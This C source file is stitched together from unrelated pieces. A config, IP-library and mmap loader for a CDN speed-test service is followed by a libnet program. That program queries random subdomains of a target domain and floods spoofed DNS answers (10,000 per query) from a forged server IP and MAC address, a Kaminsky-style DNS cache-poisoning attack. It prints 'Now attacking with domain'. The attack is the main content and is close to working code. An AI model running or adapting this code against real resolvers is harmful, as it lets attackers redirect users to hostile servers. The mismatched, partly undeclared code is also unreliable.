int load_conf_ip_hash_mmap_connect()
{
if (load_conf() == -1) //读取配置
return -1;
if (build_dir() == -1) //创建cdn测速的待发文件目录，idc和cdn的mmap文件所在目录
return -1;
if (load_ip() == -1) //读入ip库
return -1;
if (load_hash() == -1) //创建hash表，用以记录mmap中每一条记录在mmap中的偏移
return -1;
if (load_mmap() == -1) //创建mmap文件
return -1;
if (load_linkip(link_ip_config_file) == -1)
return -1;
DEBUG_LOG("GET from ip:ip_ready\t:[%u]",idc_test_ip_mmap.ready_num);
DEBUG_LOG("GET from area:area_ready\t:[%u]",idc_test_area_mmap.ready_num);
set_hash_for_area_mmap();//从ip库中读出每一条"省市运营商"记录,写入mmap，并相应建立area的hash表
int data;
backup_mmap_file(0, &data);
if (connect_2_dbserver() == -1)
return 0;
return 0;
}
int
main(int argc, char *argv[])
{
/*
* Initialize the library. Root priviledges are required.
*/
l = libnet_init(
LIBNET_LINK, /* injection type */
// NULL, /* network interface eth0, eth1, etc. NULL is default.*/
"eth11", /* network interface eth0, eth1, etc. NULL is default.*/
errbuf); /* error buffer */
if (l == NULL)
{
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(EXIT_FAILURE);
}
/* src_ip = 0;
dst_ip = 0;
src_prt = 0;
dst_prt = 0;
payload = NULL;
payload_s = 0;
*/
while ((c = getopt (argc, argv, "p:t:i:e:")) != EOF)
{
switch (c)
{
case 'p':
strcpy(payload_file, optarg);
break;
case 't':
strcpy(tcp_file, optarg);
break;
case 'i':
strcpy(ip_file, optarg);
break;
case 'e':
strcpy(eth_file, optarg);
break;
default:
break;
}
}
if (optind != 9)
{
usage();
exit(0);
}
i_dns_bind2_addr = libnet_name2addr4(l, dns_bind2_addr, LIBNET_RESOLVE);
sscanf("08, 00, 27, 90, 31, 81", "%x, %x, %x, %x, %x, %x", &res_eth_saddr[0], &res_eth_saddr[1], &res_eth_saddr[2], &res_eth_saddr[3], &res_eth_saddr[4], &res_eth_saddr[5]);
srand((int)time(0));
int loop_counter = 0;
while (1==1) {
int randomNumber = (rand()%10000000);
while (randomNumber<1000000) randomNumber*=10;
sprintf(random_host, ".x-%d.%s", randomNumber,attack_domain);
printf("\nNow attacking with domain %s \n",random_host);
convertDomain();
// load_payload();
load_payload_query(); // get the new payload with random subdomain
load_ethernet();
load_tcp_udp();
load_ip();
convert_proto();
if(ip_proto_val==IPPROTO_TCP){
t = libnet_build_tcp(
t_src_port, /* source port */
t_des_port, /* destination port */
t_seq, /* sequence number */
t_ack, /* acknowledgement num */
t_control_val, /* control flags */
t_win, /* window size */
0, /* checksum */
t_urgent, /* urgent pointer */
LIBNET_TCP_H + payload_filesize, /* TCP packet size */
payload_location, /* payload */
payload_filesize, /* payload size */
l, /* libnet handle */
0); /* libnet id */
head_type = LIBNET_TCP_H;
if (t == -1)
{
fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
goto bad;
}
}
if(ip_proto_val==IPPROTO_UDP){
t = libnet_build_udp(
t_src_port, /* source port */
t_des_port, /* destination port */
LIBNET_UDP_H + payload_filesize, /* packet length */
0, /* checksum */
payload_location, /* payload */
payload_filesize, /* payload size */
l, /* libnet handle */
0); /* libnet id */
head_type = LIBNET_UDP_H;
if (t == -1)
{
fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
goto bad;
}
}
t = libnet_build_ipv4(
/* LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s, length */
LIBNET_IPV4_H + head_type + payload_filesize, /* length */
i_ttos_val, /* TOS */
i_id, /* IP ID */
i_frag, /* IP Frag */
i_ttl, /* TTL */
ip_proto_val, /* protocol */
0, /* checksum */
i_src_addr, /* source IP */
i_des_addr, /* destination IP */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
0); /* libnet id */
if (t == -1)
{
fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
goto bad;
}
t = libnet_build_ethernet(
eth_daddr, /* ethernet destination */
eth_saddr, /* ethernet source */
e_proto_val, /* protocol type */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
0); /* libnet id */
if (t == -1)
{
fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
goto bad;
}
/*
* Write it to the wire.
*/
c = libnet_write(l);
// sending the request to the DNS server
free(payload_location);
libnet_destroy(l);
// reinit the handle so that we can set new parameters to the handle.
for (i=0;i<10000;i++) { // loop to send 10000 responses for each request.
l = libnet_init(
LIBNET_LINK, /* injection type */
// NULL, /* network interface eth0, eth1, etc. NULL is default.*/
"eth11", /* network interface eth0, eth1, etc. NULL is default.*/
errbuf); /* error buffer */
// reinit the handle for sending responses
if (l == NULL)
{
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(EXIT_FAILURE);
}
load_payload_answer();
// generate the response and send it
// change the ports of source port and destination port to match the second DNS query
if(ip_proto_val==IPPROTO_UDP){
t = libnet_build_udp(
t_des_port, /* source port */
t_src_port, /* destination port */
LIBNET_UDP_H + payload_filesize, /* packet length */
0, /* checksum */
payload_location, /* payload */
payload_filesize, /* payload size */
l, /* libnet handle */
0); /* libnet id */
head_type = LIBNET_UDP_H;
if (t == -1)
{
fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
goto bad;
}
}
// change the ethernet headers to match the response from the second DNS server
t = libnet_build_ipv4(
/* LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s, length */
LIBNET_IPV4_H + head_type + payload_filesize, /* length */
i_ttos_val, /* TOS */
i_id, /* IP ID */
i_frag, /* IP Frag */
i_ttl, /* TTL */
ip_proto_val, /* protocol */
0, /* checksum */
i_dns_bind2_addr, /* source IP */
i_des_addr, /* destination IP */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
0); /* libnet id */
if (t == -1)
{
fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
goto bad;
}
t = libnet_build_ethernet(
eth_daddr, /* ethernet destination */
res_eth_saddr, /* ethernet source */
e_proto_val, /* protocol type */
NULL, /* payload */
0, /* payload size */
l, /* libnet handle */
0); /* libnet id */
if (t == -1)
{
fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
goto bad;
}
/*
* Write it to the wire.
*/
c = libnet_write(l);
printf("**** %d packets sent **** (packetsize: %d bytes each)\n",eth_pktcount,c); /* tell them what we just did */
free(payload_location);
libnet_destroy(l);
}
l = libnet_init(
LIBNET_LINK, /* injection type */
// NULL, /* network interface eth0, eth1, etc. NULL is default.*/
"eth11", /* network interface eth0, eth1, etc. NULL is default.*/
errbuf); /* error buffer */
if (l == NULL)
{
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(EXIT_FAILURE);
}
loop_counter++;
printf("%d\n", loop_counter);
if(loop_counter == 2){
break;
}
// loop to do for multiple unique requests
}
/* give the buf memory back */
// clear memory
libnet_destroy(l);
return 0;
bad:
libnet_destroy(l);
return (EXIT_FAILURE);
// clear memory on failure
}
